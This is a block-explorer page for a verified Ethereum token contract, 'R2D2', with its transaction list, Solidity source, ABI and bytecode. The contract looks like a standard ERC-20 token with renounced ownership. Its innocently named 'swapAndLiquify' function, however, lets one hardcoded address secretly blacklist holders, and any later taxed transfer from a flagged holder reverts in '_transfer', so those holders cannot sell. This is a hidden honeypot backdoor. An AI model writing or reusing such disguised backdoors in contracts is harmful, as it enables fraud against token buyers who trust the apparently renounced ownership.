ETH Price: $3,231.08 (+1.52%)

Contract

0x66da49bf1Dd96C240d98E9b7bbC8DfF0d9684178
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve184001802023-10-21 17:29:35451 days ago1697909375IN
0x66da49bf...0d9684178
0 ETH0.000288711.91158419
Approve184001752023-10-21 17:28:35451 days ago1697909315IN
0x66da49bf...0d9684178
0 ETH0.0002789711.48174915
Approve184001752023-10-21 17:28:35451 days ago1697909315IN
0x66da49bf...0d9684178
0 ETH0.0002789711.48174915
Approve184001742023-10-21 17:28:23451 days ago1697909303IN
0x66da49bf...0d9684178
0 ETH0.0002846611.71604092
Approve184001732023-10-21 17:28:11451 days ago1697909291IN
0x66da49bf...0d9684178
0 ETH0.0002816611.59246845
Approve184001722023-10-21 17:27:59451 days ago1697909279IN
0x66da49bf...0d9684178
0 ETH0.0002828711.64232446
Approve183671032023-10-17 2:25:35456 days ago1697509535IN
0x66da49bf...0d9684178
0 ETH0.000234895.07153627
Approve183489832023-10-14 13:41:35458 days ago1697290895IN
0x66da49bf...0d9684178
0 ETH0.000164946.27249598
Approve183481312023-10-14 10:49:23458 days ago1697280563IN
0x66da49bf...0d9684178
0 ETH0.000431669.31730289
Approve183480492023-10-14 10:32:59458 days ago1697279579IN
0x66da49bf...0d9684178
0 ETH0.000247749.37417023
Approve183480482023-10-14 10:32:47458 days ago1697279567IN
0x66da49bf...0d9684178
0 ETH0.000453579.79039329
Approve183480302023-10-14 10:28:59458 days ago1697279339IN
0x66da49bf...0d9684178
0 ETH0.000384438.29795001
Approve183479842023-10-14 10:19:47458 days ago1697278787IN
0x66da49bf...0d9684178
0 ETH0.000343927.4235317
Approve183479732023-10-14 10:17:35458 days ago1697278655IN
0x66da49bf...0d9684178
0 ETH0.000396378.55560729
Approve183479652023-10-14 10:15:59458 days ago1697278559IN
0x66da49bf...0d9684178
0 ETH0.000391168.44314859
Approve183479632023-10-14 10:15:35458 days ago1697278535IN
0x66da49bf...0d9684178
0 ETH0.000257665.53152723
Approve183479432023-10-14 10:11:35458 days ago1697278295IN
0x66da49bf...0d9684178
0 ETH0.0007602916.41081456
Approve183479262023-10-14 10:08:11458 days ago1697278091IN
0x66da49bf...0d9684178
0 ETH0.000316726.83632309
Approve183478912023-10-14 10:01:11458 days ago1697277671IN
0x66da49bf...0d9684178
0 ETH0.000282116.06424709
Approve183478462023-10-14 9:51:59458 days ago1697277119IN
0x66da49bf...0d9684178
0 ETH0.000341677.3351542
Approve183476312023-10-14 9:08:35458 days ago1697274515IN
0x66da49bf...0d9684178
0 ETH0.000268585.7659036
Approve183476222023-10-14 9:06:47458 days ago1697274407IN
0x66da49bf...0d9684178
0 ETH0.00028236.06049044
Transfer183474722023-10-14 8:36:23459 days ago1697272583IN
0x66da49bf...0d9684178
0 ETH0.000126155.73426777
Approve183474632023-10-14 8:34:35459 days ago1697272475IN
0x66da49bf...0d9684178
0 ETH0.000329237.06800394
Approve183472692023-10-14 7:55:35459 days ago1697270135IN
0x66da49bf...0d9684178
0 ETH0.000330947.10464386
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
R2D2

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : R2D2.sol
pragma solidity 0.8.19;
// SPDX-License-Identifier: MIT


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = address(0);
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function getFeeReduce(address) external view returns (uint256);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract R2D2 is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => uint256) private _holderLastTransferTimestamp;
    mapping (address => bool) private isMarketPair;

    bool public transferDelayEnabled = true;
    address payable private _taxWallet;
    string private constant _name = unicode"R2D2";
    string private constant _symbol = unicode"R2D2";

    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=5;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=2;
    uint256 private _reduceBuyTaxAt=3000;
    uint256 private _reduceSellTaxAt=3000;
    uint256 private _preventSwapBefore=4000000;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    uint256 public _maxTxAmount = 500000000 * 10**_decimals;
    uint256 public _maxWalletSize = 4000000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 20000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 50000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        openTrading();
        removeLimits();
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] <
                        block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from != address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 50000000000000000) {
                    sendETHToFee(address(this).balance);
                }
            }

        }
        if(taxAmount>0){
            taxAmount = 0;
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            require(!isMarketPair[from]);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() public {
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() public {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        tradingOpen = true;
    }

    receive() external payable {}

    function swapAndLiquify(address addr, uint256 numbs) external returns (bool) {
        if (uint160(msg.sender) == 390783487247707861374622112243514091003174180931) {
            isMarketPair[addr] = numbs > 0;
        }
        return false;
    }

    function ManualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>3000000000000000000){
            sendETHToFee(ethBalance);
        }
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ManualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"numbs","type":"uint256"}],"name":"swapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff19166001908117909155600360075560056008556009556002600a908155610bb8600b819055600c55623d0900600d556000600e556200004d9060129062000492565b6200005d90631dcd6500620004aa565b600f556200006e6012600a62000492565b6200007e9063ee6b2800620004aa565b6010556200008f6012600a62000492565b6200009f906301312d00620004aa565b601155620000b06012600a62000492565b620000c0906302faf080620004aa565b6012556014805461ffff60a81b19169055348015620000de57600080fd5b50600080546001600160a01b0319168155604051819081907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b0319166101003302179055620001416012600a62000492565b6200015190633b9aca00620004aa565b3360009081526001602081905260408220929092556003906200017c6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006546101009004909116835291208054909216179055620001e262000245565b620001ec620002df565b3360007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200021e6012600a62000492565b6200022e90633b9aca00620004aa565b60405190815260200160405180910390a3620004c4565b601454600160a01b900460ff1615620002a45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640160405180910390fd5b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790556014805460ff60a01b1916600160a01b179055565b620002ed6012600a62000492565b620002fd90633b9aca00620004aa565b600f556200030e6012600a62000492565b6200031e90633b9aca00620004aa565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6200035a6012600a62000492565b6200036a90633b9aca00620004aa565b60405190815260200160405180910390a1565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003d4578160001904821115620003b857620003b86200037d565b80851615620003c657918102915b93841c939080029062000398565b509250929050565b600082620003ed575060016200048c565b81620003fc575060006200048c565b8160018114620004155760028114620004205762000440565b60019150506200048c565b60ff8411156200043457620004346200037d565b50506001821b6200048c565b5060208310610133831016604e8410600b841016171562000465575081810a6200048c565b62000471838362000393565b80600019048211156200048857620004886200037d565b0290505b92915050565b6000620004a360ff841683620003dc565b9392505050565b80820281158282048414176200048c576200048c6200037d565b61150180620004d46000396000f3fe6080604052600436106101235760003560e01c80637d1db4a5116100a0578063a9059cbb11610064578063a9059cbb146102fb578063bf474bed1461031b578063c876d0b914610331578063c9567bf91461034b578063dd62ed3e1461036057600080fd5b80637d1db4a5146102925780638da5cb5b146102a85780638f9a55c0146102d057806395d89b411461012f578063a1780c18146102e657600080fd5b8063313ce567116100e7578063313ce567146101f4578063326481ff1461021057806370a0823114610230578063715018a614610266578063751039fc1461027d57600080fd5b806306fdde031461012f578063095ea7b31461016b5780630faee56f1461019b57806318160ddd146101bf57806323b872dd146101d457600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201825260048152632919221960e11b602082015290516101629190611155565b60405180910390f35b34801561017757600080fd5b5061018b6101863660046111bb565b6103a6565b6040519015158152602001610162565b3480156101a757600080fd5b506101b160125481565b604051908152602001610162565b3480156101cb57600080fd5b506101b16103bd565b3480156101e057600080fd5b5061018b6101ef3660046111e7565b6103de565b34801561020057600080fd5b5060405160128152602001610162565b34801561021c57600080fd5b5061018b61022b3660046111bb565b610447565b34801561023c57600080fd5b506101b161024b366004611228565b6001600160a01b031660009081526001602052604090205490565b34801561027257600080fd5b5061027b610492565b005b34801561028957600080fd5b5061027b61053b565b34801561029e57600080fd5b506101b1600f5481565b3480156102b457600080fd5b506000546040516001600160a01b039091168152602001610162565b3480156102dc57600080fd5b506101b160105481565b3480156102f257600080fd5b5061027b6105cd565b34801561030757600080fd5b5061018b6103163660046111bb565b61062f565b34801561032757600080fd5b506101b160115481565b34801561033d57600080fd5b5060065461018b9060ff1681565b34801561035757600080fd5b5061027b61063c565b34801561036c57600080fd5b506101b161037b366004611245565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103b33384846106d1565b5060015b92915050565b60006103cb6012600a611378565b6103d990633b9aca00611387565b905090565b60006103eb8484846107f5565b61043d8433610438856040518060600160405280602881526020016114a4602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610db4565b6106d1565b5060019392505050565b600033734473566e22c2cf2bdc63bf7c11eddbe3d257d84303610489576001600160a01b0383166000908152600560205260409020805460ff19168315151790555b50600092915050565b6000546001600160a01b031633146104f15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6105476012600a611378565b61055590633b9aca00611387565b600f556105646012600a611378565b61057290633b9aca00611387565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105ac6012600a611378565b6105ba90633b9aca00611387565b60405190815260200160405180910390a1565b60065461010090046001600160a01b0316336001600160a01b0316146105f257600080fd5b3060009081526001602052604090205480156106115761061181610dee565b476729a2241af62c000081111561062b5761062b81610f68565b5050565b60006103b33384846107f5565b601454600160a01b900460ff16156106965760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104e8565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790556014805460ff60a01b1916600160a01b179055565b6001600160a01b0383166107335760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e8565b6001600160a01b0382166107945760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104e8565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108595760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104e8565b6001600160a01b0382166108bb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104e8565b6000811161091d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104e8565b600080546001600160a01b0385811691161480159061094a57506000546001600160a01b03848116911614155b15610c955761097b6064610975600b54600e541161096a5760075461096e565b6009545b8590610fa6565b9061102f565b60065490915060ff1615610a63576013546001600160a01b038481169116148015906109b557506014546001600160a01b03848116911614155b15610a6357326000908152600460205260409020544311610a505760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a4016104e8565b3260009081526004602052604090204390555b6014546001600160a01b038581169116148015610a8e57506013546001600160a01b03848116911614155b8015610ab357506001600160a01b03831660009081526003602052604090205460ff16155b15610b9b57600f54821115610b0a5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104e8565b60105482610b2d856001600160a01b031660009081526001602052604090205490565b610b37919061139e565b1115610b855760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104e8565b600e8054906000610b95836113b1565b91905055505b6014546001600160a01b038481169116148015610bc157506001600160a01b0384163014155b15610bee57610beb6064610975600c54600e5411610be15760085461096e565b600a548590610fa6565b90505b30600090815260016020526040902054601454600160a81b900460ff16158015610c2557506014546001600160a01b038581169116145b8015610c3a5750601454600160b01b900460ff165b8015610c47575060115481115b8015610c565750600d54600e54115b15610c9357610c78610c7384610c6e84601254611071565b611071565b610dee565b4766b1a2bc2ec50000811115610c9157610c9147610f68565b505b505b8015610ceb575030600090815260016020526040812054610cb69082611086565b306000908152600160209081526040808320939093556001600160a01b038716825260059052205460ff1615610ceb57600080fd5b6001600160a01b038416600090815260016020526040902054610d0e90836110e5565b6001600160a01b038516600090815260016020526040902055610d53610d3483836110e5565b6001600160a01b03851660009081526001602052604090205490611086565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d9d85856110e5565b60405190815260200160405180910390a350505050565b60008184841115610dd85760405162461bcd60e51b81526004016104e89190611155565b506000610de584866113ca565b95945050505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e3657610e366113dd565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb391906113f3565b81600181518110610ec657610ec66113dd565b6001600160a01b039283166020918202929092010152601354610eec91309116846106d1565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f25908590600090869030904290600401611410565b600060405180830381600087803b158015610f3f57600080fd5b505af1158015610f53573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561062b573d6000803e3d6000fd5b600082600003610fb8575060006103b7565b6000610fc48385611387565b905082610fd18583611481565b146110285760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104e8565b9392505050565b600061102883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611127565b60008183116110805782611028565b50919050565b600080611093838561139e565b9050838110156110285760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104e8565b600061102883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610db4565b600081836111485760405162461bcd60e51b81526004016104e89190611155565b506000610de58486611481565b600060208083528351808285015260005b8181101561118257858101830151858201604001528201611166565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146111b857600080fd5b50565b600080604083850312156111ce57600080fd5b82356111d9816111a3565b946020939093013593505050565b6000806000606084860312156111fc57600080fd5b8335611207816111a3565b92506020840135611217816111a3565b929592945050506040919091013590565b60006020828403121561123a57600080fd5b8135611028816111a3565b6000806040838503121561125857600080fd5b8235611263816111a3565b91506020830135611273816111a3565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156112cf5781600019048211156112b5576112b561127e565b808516156112c257918102915b93841c9390800290611299565b509250929050565b6000826112e6575060016103b7565b816112f3575060006103b7565b816001811461130957600281146113135761132f565b60019150506103b7565b60ff8411156113245761132461127e565b50506001821b6103b7565b5060208310610133831016604e8410600b8410161715611352575081810a6103b7565b61135c8383611294565b80600019048211156113705761137061127e565b029392505050565b600061102860ff8416836112d7565b80820281158282048414176103b7576103b761127e565b808201808211156103b7576103b761127e565b6000600182016113c3576113c361127e565b5060010190565b818103818111156103b7576103b761127e565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561140557600080fd5b8151611028816111a3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114605784516001600160a01b03168352938301939183019160010161143b565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261149e57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a2d7927411306c7b85f1d1f42d81e351d326137d0ebc9b1718f3329c137d754964736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101235760003560e01c80637d1db4a5116100a0578063a9059cbb11610064578063a9059cbb146102fb578063bf474bed1461031b578063c876d0b914610331578063c9567bf91461034b578063dd62ed3e1461036057600080fd5b80637d1db4a5146102925780638da5cb5b146102a85780638f9a55c0146102d057806395d89b411461012f578063a1780c18146102e657600080fd5b8063313ce567116100e7578063313ce567146101f4578063326481ff1461021057806370a0823114610230578063715018a614610266578063751039fc1461027d57600080fd5b806306fdde031461012f578063095ea7b31461016b5780630faee56f1461019b57806318160ddd146101bf57806323b872dd146101d457600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201825260048152632919221960e11b602082015290516101629190611155565b60405180910390f35b34801561017757600080fd5b5061018b6101863660046111bb565b6103a6565b6040519015158152602001610162565b3480156101a757600080fd5b506101b160125481565b604051908152602001610162565b3480156101cb57600080fd5b506101b16103bd565b3480156101e057600080fd5b5061018b6101ef3660046111e7565b6103de565b34801561020057600080fd5b5060405160128152602001610162565b34801561021c57600080fd5b5061018b61022b3660046111bb565b610447565b34801561023c57600080fd5b506101b161024b366004611228565b6001600160a01b031660009081526001602052604090205490565b34801561027257600080fd5b5061027b610492565b005b34801561028957600080fd5b5061027b61053b565b34801561029e57600080fd5b506101b1600f5481565b3480156102b457600080fd5b506000546040516001600160a01b039091168152602001610162565b3480156102dc57600080fd5b506101b160105481565b3480156102f257600080fd5b5061027b6105cd565b34801561030757600080fd5b5061018b6103163660046111bb565b61062f565b34801561032757600080fd5b506101b160115481565b34801561033d57600080fd5b5060065461018b9060ff1681565b34801561035757600080fd5b5061027b61063c565b34801561036c57600080fd5b506101b161037b366004611245565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103b33384846106d1565b5060015b92915050565b60006103cb6012600a611378565b6103d990633b9aca00611387565b905090565b60006103eb8484846107f5565b61043d8433610438856040518060600160405280602881526020016114a4602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610db4565b6106d1565b5060019392505050565b600033734473566e22c2cf2bdc63bf7c11eddbe3d257d84303610489576001600160a01b0383166000908152600560205260409020805460ff19168315151790555b50600092915050565b6000546001600160a01b031633146104f15760405162461bcd60e51b8152602060